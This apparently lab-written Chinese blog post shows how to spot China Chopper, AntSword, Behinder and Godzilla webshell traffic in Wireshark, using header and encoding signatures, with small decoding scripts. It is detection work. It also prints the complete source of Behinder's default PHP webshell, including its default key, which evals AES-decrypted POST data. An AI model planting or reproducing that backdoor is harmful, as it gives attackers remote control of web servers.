(魔改的没有,只有普通的webshell特征)
目标地址
先打开Wireshark,双击进入WLAN
在过滤器输入过滤命令,筛选出192.168.31.64的目标地址和80端口
ip.dst == 192.168.31.64 && tcp.port == 80
这样就对只对192.168.31.64:80端口检测了
开始使用webshell工具分析
WebShell的流量特征从HTTP协议进行分析,因为WebShell是通过HTTP协议进行远程控制的一种方式。在查看WebShell的流量特征时,需要分析HTTP请求和响应报文的内容,以及HTTP头部的字段等信息。
base64加密
特征
请求头中
User-Agent存在百度或者火狐
请求体中
会存在QGluaV9zZXQ攻击的开头部分后面的部分需要base64解码
z0(也会修改)跟随后面的payload的base64的数据。z0是菜刀的默认参数
eval也会替换成assert的方式(可能是拼接)
("ass"."ert",....
成功连接shell
url解码->base64解码
拼接的assret
User-Agent中的百度(有可能是火狐)
另一个版本
查看流量包
存在默认的z0变量
User-Agent中的百度
存在z0
eval不是菜刀就是蚁剑,但是后面跟着z0就可以判断为菜刀,并且后面跟着base6的特征
这个是Cknife刀
对原来的z0改变了action其他没有变化
固定的base64菜刀请求
基于Java编写跨平台远控管理工具,模块化开发,代码简单易懂,可扩展性强
使用的AES加密算法进行加密的,同时使用了自定义的二进制协议在通信传输各种类型数据
请求中的User-Agent值是:antSword/*
也有可能是:
Mozilla/5.0 (Windows NT ***) AppleWebKit/*** (KHTML, like Gecko) Chrome/***** Safari/****
请求中可以检测到的关键字:“eval””eVAL”
请求体存在@ini_set("display_errors", "0");@set_time_limit(0);(开头可能是菜刀或者是蚁剑)
加密后的明显参数多数是_0x......=这种形式所以_0x开头的参数名,以及dirname、get_current_user函数的字眼(需要讲请求内容解密后判断),后面为加密数据的数据包可以鉴定为蚁剑的流量特征
在命令执行时有目录标记[S]、[E]、[R]、[D]、等,说明已经拿到shell了(在执行系统命令)
payload特征
php assert、eval关键字执行,
asp eval在jsp使用
Java 同时会带有base64编码解码等字符特征
添加目标,测试链接
这些就是蚁剑对目标的连接测试获取到的流量
对POST这个请求查看http流分析
可以明显看出
解码后可以看到这两处的特征是蚁剑的
新版的ua改了
base64加密
先对url解密一次然后再取这段base64解密
可以看到@ini_set("display_errors", "0");@set_time_limit(0);、dirname、get_current_user、明显字段
使用base64加密的,数据包存在以下base加密的eval命令执行,数据包的请求内容存在这几个分段内容,使用的base加密,解密后可以看到相关的路径,命令
响应包格式为:随机数 编码后的结果 随机数
char加密
eval的字符会改变大小,
比较明显的大小%40eVAL
解密脚本
import re
encrypted_string = input("输入蚁剑的ChR加密请求体:")
# 使用正则表达式提取每个字符表达式中的十六进制值
hex_values = re.findall(r'ChR\((.*?)\)', encrypted_string)
# 将每个十六进制值解密为 ASCII 字符
decrypted_chars = [chr(int(hex_value, 16)) for hex_value in hex_values]
# 将解密后的字符拼接成一个字符串
decrypted_string = ''.join(decrypted_chars)
print(decrypted_string)
# 保存输出内容
with open("analyze.txt", "w") as f:
f.write(decrypted_string)
开头的cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69)加密解密后是
=@ini
将请求体全部解密后
这个是蚁剑的流量
可以看到@ini_set("display_errors", "0");@set_time_limit(0);、dirname、get_current_user、明显字段
rot13加密开头的eVA大小写还是明显
冰蝎使用的AES(对称加密)16位密钥和base64编码
Accept字段:
请求头中存在Accept: application/json, text/javascript, */*; q=0.01
也有可能Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/octet-stream ******
q=0.8
userAgent字段:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser/5.0
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.37 Edge/16.16299
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Mozilla/7.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)
Cinnection子段:
Connection: Keep-Alive
(冰蝎默认使用的长连接是为了避免频繁的握手造成的资源丢失)
冰蝎自带的马子
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
通过代码可以看到使用了128位的AES密钥进行解密通过eval执行命令
使用冰蝎连接
连接后
Accept: application/json, text/javascript, */*; q=0.01
请求中的Cinnection:Keep-Alive是冰蝎默认使用的长连接特征
userAgent头的Mozilla/5.0...是冰蝎内置的ua请求头
存在的长连接
内置的User-Agent头
AES加密(请求包看多了就一眼丁真了)
jsp的马子
首先一眼丁真的AES加密 就是冰蝎
然后是请求头中存在Accept: application/json, text/javascript, */*; q=0.01
固定特征
其次是长连接
AES的加密
Content-Type: application/octet-stream
q=0.8
Accept参数是application/json, text/javascript, */*; q=0.01
base64加密
流量特征
Cookie的结尾会出现分号
请求中的Accept头是
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
相应头中的Cache-Control头是
Cache-Control: no-store, no-cache, must-revalidate
生成php的马子
连接
获取到流量信息
查看HTTP流
url解码
url解码
二次解码后可以看到webshell木马的密码
import base64
text = input("要倒序的内容:")
# 利用切片操作[::-1]逆序输出
reverse_text = text[::-1]
print(reverse_text)
decoded_bytes = base64.b64decode(reverse_text)
# 将字节流转换为字符串
decoded_text = decoded_bytes.decode()
print(decoded_text)
对括号前面的base64的编码倒序后解码得到
可以看出这是加密的方式,可以通过这段加密代码还原相应数据
dir命令数据包可以明显看到哥斯拉的流量特征
在请求体中出现2次url和base编码特征
%27%253D%25
是哥斯拉2次url编码后的==
是哥斯拉倒序的base64的特征(一眼丁真)
Cookie的结尾会带有分号(强特征)
一眼丁真的分号
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, / ;q=0.8
如果生成木马没改
pass就是哥斯拉的默认密码
Accept参数是哥斯拉固定的
还是多多感谢交流群的大佬一起分析
公众号回复 -> tools 获取工具
后期会上架更多工具(工具太多了,需要的公众号留言,必回复)
【VIPER】
湖南农业大学蝰蛇安全实验室